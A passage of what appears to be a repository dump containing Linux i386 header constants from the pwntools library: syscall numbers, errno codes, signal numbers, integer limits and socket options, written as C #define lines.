(0+178)\n#define SYS_rt_sigreturn (0+173)\n#define SYS_rt_sigsuspend (0+179)\n#define SYS_rt_sigtimedwait (0+177)\n#define SYS_rt_sigtimedwait_time64 (0 + 421)\n#define SYS_rt_tgsigqueueinfo (0+363)\n#define SYS_sched_getaffinity (0+242)\n#define SYS_sched_getattr (0+381)\n#define SYS_sched_getparam (0+155)\n#define SYS_sched_get_priority_max (0+159)\n#define SYS_sched_get_priority_min (0+160)\n#define SYS_sched_getscheduler (0+157)\n#define SYS_sched_rr_get_interval (0+161)\n#define SYS_sched_rr_get_interval_time64 (0 + 423)\n#define SYS_sched_setaffinity (0+241)\n#define SYS_sched_setattr (0+380)\n#define SYS_sched_setparam (0+154)\n#define SYS_sched_setscheduler (0+156)\n#define SYS_sched_yield (0+158)\n#define SYS_seccomp (0+383)\n#define SYS_select (0+ 82)\n#define SYS_semctl (0+300)\n#define SYS_semget (0+299)\n#define SYS_semop (0+298)\n#define SYS_semtimedop (0+312)\n#define SYS_semtimedop_time64 (0 + 420)\n#define SYS_send (0+289)\n#define SYS_sendfile (0+187)\n#define SYS_sendfile64 (0+239)\n#define SYS_sendmmsg (0+374)\n#define SYS_sendmsg (0+296)\n#define SYS_sendto (0+290)\n#define SYS_setdomainname (0+121)\n#define SYS_setfsgid (0+139)\n#define SYS_setfsgid32 (0+216)\n#define SYS_setfsuid (0+138)\n#define SYS_setfsuid32 (0+215)\n#define SYS_setgid (0+ 46)\n#define SYS_setgid32 (0+214)\n#define SYS_setgroups (0+ 81)\n#define SYS_setgroups32 (0+206)\n#define SYS_sethostname (0+ 74)\n#define SYS_setitimer (0+104)\n#define SYS_set_mempolicy (0+321)\n#define SYS_setns (0+375)\n#define SYS_setpgid (0+ 57)\n#define SYS_setpriority (0+ 97)\n#define SYS_setregid (0+ 71)\n#define SYS_setregid32 (0+204)\n#define SYS_setresgid (0+170)\n#define SYS_setresgid32 (0+210)\n#define SYS_setresuid (0+164)\n#define SYS_setresuid32 (0+208)\n#define SYS_setreuid (0+ 70)\n#define SYS_setreuid32 (0+203)\n#define SYS_setrlimit (0+ 75)\n#define SYS_set_robust_list (0+338)\n#define SYS_setsid (0+ 66)\n#define SYS_setsockopt (0+294)\n#define SYS_set_tid_address (0+256)\n#define SYS_settimeofday (0+ 79)\n#define SYS_setuid (0+ 23)\n#define SYS_setuid32 (0+213)\n#define SYS_setxattr (0+226)\n#define SYS_shmat (0+305)\n#define SYS_shmctl (0+308)\n#define SYS_shmdt (0+306)\n#define SYS_shmget (0+307)\n#define SYS_shutdown (0+293)\n#define SYS_sigaction (0+ 67)\n#define SYS_sigaltstack (0+186)\n#define SYS_signalfd (0+349)\n#define SYS_signalfd4 (0+355)\n#define SYS_sigpending (0+ 73)\n#define SYS_sigprocmask (0+126)\n#define SYS_sigreturn (0+119)\n#define SYS_sigsuspend (0+ 72)\n#define SYS_socket (0+281)\n#define SYS_socketcall (0+102)\n#define SYS_socketpair (0+288)\n#define SYS_splice (0+340)\n#define SYS_stat (0+106)\n#define SYS_stat64 (0+195)\n#define SYS_statfs (0+ 99)\n#define SYS_statfs64 (0+266)\n#define SYS_statx (0 + 397)\n#define SYS_stime (0+ 25)\n#define SYS_swapoff (0+115)\n#define SYS_swapon (0+ 87)\n#define SYS_symlink (0+ 83)\n#define SYS_symlinkat (0+331)\n#define SYS_sync (0+ 36)\n#define SYS_syncfs (0+373)\n#define SYS_syscall (0+113)\n#define SYS_SYSCALL_BASE 0\n#define SYS__sysctl (0+149)\n#define SYS_sysfs (0+135)\n#define SYS_sysinfo (0+116)\n#define SYS_syslog (0+103)\n#define SYS_tee (0+342)\n#define SYS_tgkill (0+268)\n#define SYS_time (0+ 13)\n#define SYS_timer_create (0+257)\n#define SYS_timer_delete (0+261)\n#define SYS_timerfd (0+350)\n#define SYS_timerfd_gettime (0+354)\n#define SYS_timerfd_gettime64 (0 + 410)\n#define SYS_timerfd_settime (0+353)\n#define SYS_timerfd_settime64 (0 + 411)\n#define SYS_timer_getoverrun (0+260)\n#define SYS_timer_gettime (0+259)\n#define SYS_timer_gettime64 (0 + 408)\n#define SYS_timer_settime (0+258)\n#define SYS_timer_settime64 (0 + 409)\n#define SYS_times (0+ 43)\n#define SYS_tkill (0+238)\n#define SYS_truncate (0+ 92)\n#define SYS_truncate64 (0+193)\n#define SYS_ugetrlimit (0+191)\n#define SYS_umask (0+ 60)\n#define SYS_umount (0+ 22)\n#define SYS_umount2 (0+ 52)\n#define SYS_uname (0+122)\n#define SYS_unlink (0+ 10)\n#define SYS_unlinkat (0+328)\n#define SYS_unshare (0+337)\n#define SYS_uselib (0+ 86)\n#define SYS_userfaultfd (0+388)\n#define SYS_ustat (0+ 62)\n#define SYS_utime (0+ 30)\n#define SYS_utimensat (0+348)\n#define SYS_utimensat_time64 (0 + 412)\n#define SYS_utimes (0+269)\n#define SYS_vfork (0+190)\n#define SYS_vhangup (0+111)\n#define SYS_vmsplice (0+343)\n#define SYS_vserver (0+313)\n#define SYS_wait4 (0+114)\n#define SYS_waitid (0+280)\n#define SYS_write (0+  4)\n#define SYS_writev (0+146)\n"
  },
  {
    "path": "pwnlib/data/includes/linux/i386.h",
    "content": "#define __NR_exit 1\n#define __NR_fork 2\n#define __NR_read 3\n#define __NR_write 4\n#define __NR_open 5\n#define __NR_close 6\n#define __NR_waitpid 7\n#define __NR_creat 8\n#define __NR_link 9\n#define __NR_unlink 10\n#define __NR_execve 11\n#define __NR_chdir 12\n#define __NR_time 13\n#define __NR_mknod 14\n#define __NR_chmod 15\n#define __NR_lchown 16\n#define __NR_break 17\n#define __NR_oldstat 18\n#define __NR_lseek 19\n#define __NR_getpid 20\n#define __NR_mount 21\n#define __NR_umount 22\n#define __NR_setuid 23\n#define __NR_getuid 24\n#define __NR_stime 25\n#define __NR_ptrace 26\n#define __NR_alarm 27\n#define __NR_oldfstat 28\n#define __NR_pause 29\n#define __NR_utime 30\n#define __NR_stty 31\n#define __NR_gtty 32\n#define __NR_access 33\n#define __NR_nice 34\n#define __NR_ftime 35\n#define __NR_sync 36\n#define __NR_kill 37\n#define __NR_rename 38\n#define __NR_mkdir 39\n#define __NR_rmdir 40\n#define __NR_dup 41\n#define __NR_pipe 42\n#define __NR_times 43\n#define __NR_prof 44\n#define __NR_brk 45\n#define __NR_setgid 46\n#define __NR_getgid 47\n#define __NR_signal 48\n#define __NR_geteuid 49\n#define __NR_getegid 50\n#define __NR_acct 51\n#define __NR_umount2 52\n#define __NR_lock 53\n#define __NR_ioctl 54\n#define __NR_fcntl 55\n#define __NR_mpx 56\n#define __NR_setpgid 57\n#define __NR_ulimit 58\n#define __NR_oldolduname 59\n#define __NR_umask 60\n#define __NR_chroot 61\n#define __NR_ustat 62\n#define __NR_dup2 63\n#define __NR_getppid 64\n#define __NR_getpgrp 65\n#define __NR_setsid 66\n#define __NR_sigaction 67\n#define __NR_sgetmask 68\n#define __NR_ssetmask 69\n#define __NR_setreuid 70\n#define __NR_setregid 71\n#define __NR_sigsuspend 72\n#define __NR_sigpending 73\n#define __NR_sethostname 74\n#define __NR_setrlimit 75\n#define __NR_getrlimit 76\n#define __NR_getrusage 77\n#define __NR_gettimeofday 78\n#define __NR_settimeofday 79\n#define __NR_getgroups 80\n#define __NR_setgroups 81\n#define __NR_select 82\n#define __NR_symlink 83\n#define __NR_oldlstat 84\n#define __NR_readlink 85\n#define __NR_uselib 86\n#define __NR_swapon 87\n#define __NR_reboot 88\n#define __NR_readdir 89\n#define __NR_mmap 90\n#define __NR_munmap 91\n#define __NR_truncate 92\n#define __NR_ftruncate 93\n#define __NR_fchmod 94\n#define __NR_fchown 95\n#define __NR_getpriority 96\n#define __NR_setpriority 97\n#define __NR_profil 98\n#define __NR_statfs 99\n#define __NR_fstatfs 100\n#define __NR_ioperm 101\n#define __NR_socketcall 102\n#define __NR_syslog 103\n#define __NR_setitimer 104\n#define __NR_getitimer 105\n#define __NR_stat 106\n#define __NR_lstat 107\n#define __NR_fstat 108\n#define __NR_olduname 109\n#define __NR_iopl 110\n#define __NR_vhangup 111\n#define __NR_idle 112\n#define __NR_vm86old 113\n#define __NR_wait4 114\n#define __NR_swapoff 115\n#define __NR_sysinfo 116\n#define __NR_ipc 117\n#define __NR_fsync 118\n#define __NR_sigreturn 119\n#define __NR_clone 120\n#define __NR_setdomainname 121\n#define __NR_uname 122\n#define __NR_modify_ldt 123\n#define __NR_adjtimex 124\n#define __NR_mprotect 125\n#define __NR_sigprocmask 126\n#define __NR_create_module 127\n#define __NR_init_module 128\n#define __NR_delete_module 129\n#define __NR_get_kernel_syms 130\n#define __NR_quotactl 131\n#define __NR_getpgid 132\n#define __NR_fchdir 133\n#define __NR_bdflush 134\n#define __NR_sysfs 135\n#define __NR_personality 136\n#define __NR_afs_syscall 137\n#define __NR_setfsuid 138\n#define __NR_setfsgid 139\n#define __NR__llseek 140\n#define __NR_getdents 141\n#define __NR__newselect 142\n#define __NR_flock 143\n#define __NR_msync 144\n#define __NR_readv 145\n#define __NR_writev 146\n#define __NR_getsid 147\n#define __NR_fdatasync 148\n#define __NR__sysctl 149\n#define __NR_mlock 150\n#define __NR_munlock 151\n#define __NR_mlockall 152\n#define __NR_munlockall 153\n#define __NR_sched_setparam 154\n#define __NR_sched_getparam 155\n#define __NR_sched_setscheduler 156\n#define __NR_sched_getscheduler 157\n#define __NR_sched_yield 158\n#define __NR_sched_get_priority_max 159\n#define __NR_sched_get_priority_min 160\n#define __NR_sched_rr_get_interval 161\n#define __NR_nanosleep 162\n#define __NR_mremap 163\n#define __NR_setresuid 164\n#define __NR_getresuid 165\n#define __NR_vm86 166\n#define __NR_query_module 167\n#define __NR_poll 168\n#define __NR_nfsservctl 169\n#define __NR_setresgid 170\n#define __NR_getresgid 171\n#define __NR_prctl 172\n#define __NR_rt_sigreturn 173\n#define __NR_rt_sigaction 174\n#define __NR_rt_sigprocmask 175\n#define __NR_rt_sigpending 176\n#define __NR_rt_sigtimedwait 177\n#define __NR_rt_sigqueueinfo 178\n#define __NR_rt_sigsuspend 179\n#define __NR_pread 180\n#define __NR_pwrite 181\n#define __NR_chown 182\n#define __NR_getcwd 183\n#define __NR_capget 184\n#define __NR_capset 185\n#define __NR_sigaltstack 186\n#define __NR_sendfile 187\n#define __NR_getpmsg 188\n#define __NR_putpmsg 189\n#define __NR_vfork 190\n#define __NR_ugetrlimit 191\n#define __NR_mmap2 192\n#define __NR_truncate64 193\n#define __NR_ftruncate64 194\n#define __NR_stat64 195\n#define __NR_lstat64 196\n#define __NR_fstat64 197\n#define __NR_lchown32 198\n#define __NR_getuid32 199\n#define __NR_getgid32 200\n#define __NR_geteuid32 201\n#define __NR_getegid32 202\n#define __NR_setreuid32 203\n#define __NR_setregid32 204\n#define __NR_getgroups32 205\n#define __NR_setgroups32 206\n#define __NR_fchown32 207\n#define __NR_setresuid32 208\n#define __NR_getresuid32 209\n#define __NR_setresgid32 210\n#define __NR_getresgid32 211\n#define __NR_chown32 212\n#define __NR_setuid32 213\n#define __NR_setgid32 214\n#define __NR_setfsuid32 215\n#define __NR_setfsgid32 216\n#define __NR_pivot_root 217\n#define __NR_mincore 218\n#define __NR_madvise 219\n#define __NR_madvise1 219\n#define __NR_getdents64 220\n#define __NR_fcntl64 221\n#define __NR_gettid 224\n#define __NR_readahead 225\n#define __NR_setxattr 226\n#define __NR_lsetxattr 227\n#define __NR_fsetxattr 228\n#define __NR_getxattr 229\n#define __NR_lgetxattr 230\n#define __NR_fgetxattr 231\n#define __NR_listxattr 232\n#define __NR_llistxattr 233\n#define __NR_flistxattr 234\n#define __NR_removexattr 235\n#define __NR_lremovexattr 236\n#define __NR_fremovexattr 237\n#define __NR_tkill 238\n#define __NR_sendfile64 239\n#define __NR_futex 240\n#define __NR_sched_setaffinity 241\n#define __NR_sched_getaffinity 242\n#define __NR_set_thread_area 243\n#define __NR_get_thread_area 244\n#define __NR_io_setup 245\n#define __NR_io_destroy 246\n#define __NR_io_getevents 247\n#define __NR_io_submit 248\n#define __NR_io_cancel 249\n#define __NR_fadvise64 250\n#define __NR_exit_group 252\n#define __NR_lookup_dcookie 253\n#define __NR_epoll_create 254\n#define __NR_epoll_ctl 255\n#define __NR_epoll_wait 256\n#define __NR_remap_file_pages 257\n#define __NR_set_tid_address 258\n#define __NR_timer_create 259\n#define __NR_timer_settime (259+1)\n#define __NR_timer_gettime (259+2)\n#define __NR_timer_getoverrun (259+3)\n#define __NR_timer_delete (259+4)\n#define __NR_clock_settime (259+5)\n#define __NR_clock_gettime (259+6)\n#define __NR_clock_getres (259+7)\n#define __NR_clock_nanosleep (259+8)\n#define __NR_statfs64 268\n#define __NR_fstatfs64 269\n#define __NR_tgkill 270\n#define __NR_utimes 271\n#define __NR_fadvise64_64 272\n#define __NR_vserver 273\n#define __NR_mbind 274\n#define __NR_get_mempolicy 275\n#define __NR_set_mempolicy 276\n#define __NR_mq_open 277\n#define __NR_mq_unlink (277+1)\n#define __NR_mq_timedsend (277+2)\n#define __NR_mq_timedreceive (277+3)\n#define __NR_mq_notify (277+4)\n#define __NR_mq_getsetattr (277+5)\n#define __NR_sys_kexec_load 283\n#define __NR_waitid 284\n#define __NR_add_key 286\n#define __NR_request_key 287\n#define __NR_keyctl 288\n#define __NR_ioprio_set 289\n#define __NR_ioprio_get 290\n#define __NR_inotify_init 291\n#define __NR_inotify_add_watch 292\n#define __NR_inotify_rm_watch 293\n#define __NR_migrate_pages 294\n#define __NR_openat 295\n#define __NR_mkdirat 296\n#define __NR_mknodat 297\n#define __NR_fchownat 298\n#define __NR_futimesat 299\n#define __NR_fstatat64 300\n#define __NR_unlinkat 301\n#define __NR_renameat 302\n#define __NR_linkat 303\n#define __NR_symlinkat 304\n#define __NR_readlinkat 305\n#define __NR_fchmodat 306\n#define __NR_faccessat 307\n#define __NR_pselect6 308\n#define __NR_ppoll 309\n#define __NR_unshare 310\n#define __NR_set_robust_list 311\n#define __NR_get_robust_list 312\n#define __NR_splice 313\n#define __NR_sync_file_range 314\n#define __NR_tee 315\n#define __NR_vmsplice 316\n#define __NR_move_pages 317\n#define __NR_getcpu 318\n#define __NR_epoll_pwait 319\n#define __NR_utimensat 320\n#define __NR_signalfd 321\n#define __NR_timerfd 322\n#define __NR_eventfd 323\n#define __NR_fallocate 324\n#define __NR_timerfd_settime 325\n#define __NR_timerfd_gettime 326\n#define __NR_signalfd4 327\n#define __NR_eventfd2 328\n#define __NR_epoll_create1 329\n#define __NR_dup3 330\n#define __NR_pipe2 331\n#define __NR_inotify_init1 332\n#define __NR_preadv 333\n#define __NR_pwritev 334\n#define __NR_rt_tgsigqueueinfo 335\n#define __NR_perf_event_open 336\n#define __NR_recvmmsg 337\n#define __NR_fanotify_init 338\n#define __NR_fanotify_mark 339\n#define __NR_prlimit64 340\n#define __NR_name_to_handle_at 341\n#define __NR_open_by_handle_at 342\n#define __NR_clock_adjtime 343\n#define __NR_syncfs 344\n#define __NR_sendmmsg 345\n#define __NR_setns 346\n#define __NR_process_vm_readv 347\n#define __NR_process_vm_writev 348\n#define __NR_kcmp 349\n#define __NR_finit_module 350\n#define __NR_sched_setattr 351\n#define __NR_sched_getattr 352\n#define __NR_renameat2 353\n#define __NR_seccomp 354\n#define __NR_getrandom 355\n#define __NR_memfd_create 356\n#define __NR_bpf 357\n#define __NR_execveat 358\n#define __NR_socket 359\n#define __NR_socketpair 360\n#define __NR_bind 361\n#define __NR_connect 362\n#define __NR_listen 363\n#define __NR_accept4 364\n#define __NR_getsockopt 365\n#define __NR_setsockopt 366\n#define __NR_getsockname 367\n#define __NR_getpeername 368\n#define __NR_sendto 369\n#define __NR_sendmsg 370\n#define __NR_recvfrom 371\n#define __NR_recvmsg 372\n#define __NR_shutdown 373\n#define __NR_userfaultfd 374\n#define __NR_membarrier 375\n#define __NR_mlock2 376\n#define __NR_copy_file_range 377\n#define __NR_preadv2 378\n#define __NR_pwritev2 379\n#define __NR_pkey_mprotect 380\n#define __NR_pkey_alloc 381\n#define __NR_pkey_free 382\n#define __NR_ia32_statx 383\n#define __NR_ia32_arch_prctl 384\n#define __NR_ia32_io_pgetevents 385\n#define __NR_ia32_rseq 386\n#define __NR_semget 393\n#define __NR_semctl 394\n#define __NR_shmget 395\n#define __NR_shmctl 396\n#define __NR_shmat 397\n#define __NR_shmdt 398\n#define __NR_msgget 399\n#define __NR_msgsnd 400\n#define __NR_msgrcv 401\n#define __NR_msgctl 402\n#define __NR_clock_gettime64 403\n#define __NR_clock_settime64 404\n#define __NR_clock_adjtime64 405\n#define __NR_clock_getres_time64 406\n#define __NR_clock_nanosleep_time64 407\n#define __NR_timer_gettime64 408\n#define __NR_timer_settime64 409\n#define __NR_timerfd_gettime64 410\n#define __NR_timerfd_settime64 411\n#define __NR_utimensat_time64 412\n#define __NR_pselect6_time64 413\n#define __NR_ppoll_time64 414\n#define __NR_io_pgetevents_time64 416\n#define __NR_recvmmsg_time64 417\n#define __NR_mq_timedsend_time64 418\n#define __NR_mq_timedreceive_time64 419\n#define __NR_semtimedop_time64 420\n#define __NR_rt_sigtimedwait_time64 421\n#define __NR_futex_time64 422\n#define __NR_sched_rr_get_interval_time64 423\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_clone3 435\n#define __NR_openat2 437\n#define __NR_pidfd_getfd 438\n#define SYS_SOCKET 1\n#define SYS_BIND 2\n#define SYS_CONNECT 3\n#define SYS_LISTEN 4\n#define SYS_ACCEPT 5\n#define SYS_GETSOCKNAME 6\n#define SYS_GETPEERNAME 7\n#define SYS_SOCKETPAIR 8\n#define SYS_SEND 9\n#define SYS_RECV 10\n#define SYS_SENDTO 11\n#define SYS_RECVFROM 12\n#define SYS_SHUTDOWN 13\n#define SYS_SETSOCKOPT 14\n#define SYS_GETSOCKOPT 15\n#define SYS_SENDMSG 16\n#define SYS_RECVMSG 17\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EDEADLK 35\n#define ENAMETOOLONG 36\n#define ENOLCK 37\n#define ENOSYS 38\n#define ENOTEMPTY 39\n#define ELOOP 40\n#define EWOULDBLOCK 11\n#define ENOMSG 42\n#define EIDRM 43\n#define ECHRNG 44\n#define EL2NSYNC 45\n#define EL3HLT 46\n#define EL3RST 47\n#define ELNRNG 48\n#define EUNATCH 49\n#define ENOCSI 50\n#define EL2HLT 51\n#define EBADE 52\n#define EBADR 53\n#define EXFULL 54\n#define ENOANO 55\n#define EBADRQC 56\n#define EBADSLT 57\n#define EDEADLOCK 35\n#define EBFONT 59\n#define ENOSTR 60\n#define ENODATA 61\n#define ETIME 62\n#define ENOSR 63\n#define ENONET 64\n#define ENOPKG 65\n#define EREMOTE 66\n#define ENOLINK 67\n#define EADV 68\n#define ESRMNT 69\n#define ECOMM 70\n#define EPROTO 71\n#define EMULTIHOP 72\n#define EDOTDOT 73\n#define EBADMSG 74\n#define EOVERFLOW 75\n#define ENOTUNIQ 76\n#define EBADFD 77\n#define EREMCHG 78\n#define ELIBACC 79\n#define ELIBBAD 80\n#define ELIBSCN 81\n#define ELIBMAX 82\n#define ELIBEXEC 83\n#define EILSEQ 84\n#define ERESTART 85\n#define ESTRPIPE 86\n#define EUSERS 87\n#define ENOTSOCK 88\n#define EDESTADDRREQ 89\n#define EMSGSIZE 90\n#define EPROTOTYPE 91\n#define ENOPROTOOPT 92\n#define EPROTONOSUPPORT 93\n#define ESOCKTNOSUPPORT 94\n#define EOPNOTSUPP 95\n#define ENOTSUP 95\n#define EPFNOSUPPORT 96\n#define EAFNOSUPPORT 97\n#define EADDRINUSE 98\n#define EADDRNOTAVAIL 99\n#define ENETDOWN 100\n#define ENETUNREACH 101\n#define ENETRESET 102\n#define ECONNABORTED 103\n#define ECONNRESET 104\n#define ENOBUFS 105\n#define EISCONN 106\n#define ENOTCONN 107\n#define ESHUTDOWN 108\n#define ETOOMANYREFS 109\n#define ETIMEDOUT 110\n#define ECONNREFUSED 111\n#define EHOSTDOWN 112\n#define EHOSTUNREACH 113\n#define EALREADY 114\n#define EINPROGRESS 115\n#define ESTALE 116\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define EDQUOT 122\n#define ENOMEDIUM 123\n#define EMEDIUMTYPE 124\n#define ECANCELED 125\n#define ENOKEY 126\n#define EKEYEXPIRED 127\n#define EKEYREVOKED 128\n#define EKEYREJECTED 129\n#define EOWNERDEAD 130\n#define ENOTRECOVERABLE 131\n#define ERFKILL 132\n#define EHWPOISON 133\n#define __SYS_NERR ((133) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 1234\n#define __FLOAT_WORD_ORDER 1234\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 1234\n#define __WORDSIZE 32\n#define __UNALIGNED_MEMORY_ACCESS_OK 1\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (2147483647))\n#define INTPTR_MAX (2147483647)\n#define UINTPTR_MAX 0xffffffff\n#define SIZE_MAX 0xffffffff\n#define PTRDIFF_MIN (-1 - (2147483647))\n#define PTRDIFF_MAX (2147483647)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (2147483647))\n#define INT_FAST16_MAX (2147483647)\n#define UINT_FAST16_MAX 0xffffffff\n#define INT_FAST32_MIN (-1 - (2147483647))\n#define INT_FAST32_MAX (2147483647)\n#define UINT_FAST32_MAX 0xffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGBUS 7\n#define SIGUSR1 10\n#define SIGUSR2 12\n#define SIGSTKFLT 16\n#define SIGCHLD 17\n#define SIGCONT 18\n#define SIGSTOP 19\n#define SIGTSTP 20\n#define SIGTTIN 21\n#define SIGTTOU 22\n#define SIGURG 23\n#define SIGXCPU 24\n#define SIGXFSZ 25\n#define SIGVTALRM 26\n#define SIGPROF 27\n#define SIGWINCH 28\n#define SIGIO 29\n#define SIGPWR 30\n#define SIGSYS 31\n#define SIGCLD 17\n#define SIGPOLL 29\n#define SIGLOST 30\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SA_NOCLDSTOP 0x00000001\n#define SA_NOCLDWAIT 0x00000002\n#define SA_SIGINFO 0x00000004\n#define SA_RESTORER 0x04000000\n#define SA_ONSTACK 0x08000000\n#define SA_RESTART 0x10000000\n#define SA_INTERRUPT 0x20000000\n#define SA_NODEFER 0x40000000\n#define SA_RESETHAND 0x80000000\n#define SA_NOMASK 0x40000000\n#define SA_ONESHOT 0x80000000\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 0\n#define SIG_UNBLOCK 1\n#define SIG_SETMASK 2\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define X86_FXSR_MAGIC 0x0000\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define STAT64_HAS_BROKEN_ST_INO 1\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 1\n#define SO_DEBUG 1\n#define SO_REUSEADDR 2\n#define SO_TYPE 3\n#define SO_ERROR 4\n#define SO_DONTROUTE 5\n#define SO_BROADCAST 6\n#define SO_SNDBUF 7\n#define SO_RCVBUF 8\n#define SO_KEEPALIVE 9\n#define SO_OOBINLINE 10\n#define SO_NO_CHECK 11\n#define SO_PRIORITY 12\n#define SO_LINGER 13\n#define SO_BSDCOMPAT 14\n#define SO_REUSEPORT 15\n#define SO_PASSCRED 16\n#define SO_PEERCRED 17\n#define SO_RCVLOWAT 18\n#define SO_SNDLOWAT 19\n#define SO_RCVTIMEO 20\n#define SO_SNDTIMEO 21\n#define SO_SECURITY_AUTHENTICATION 22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 23\n#define SO_SECURITY_ENCRYPTION_NETWORK 24\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define SCM_TIMESTAMP 29\n#define SO_ACCEPTCONN 30\n#define SO_PEERSEC 31\n#define SO_SNDBUFFORCE 32\n#define SO_RCVBUFFORCE 33\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_PROTOCOL 38\n#define SO_DOMAIN 39\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 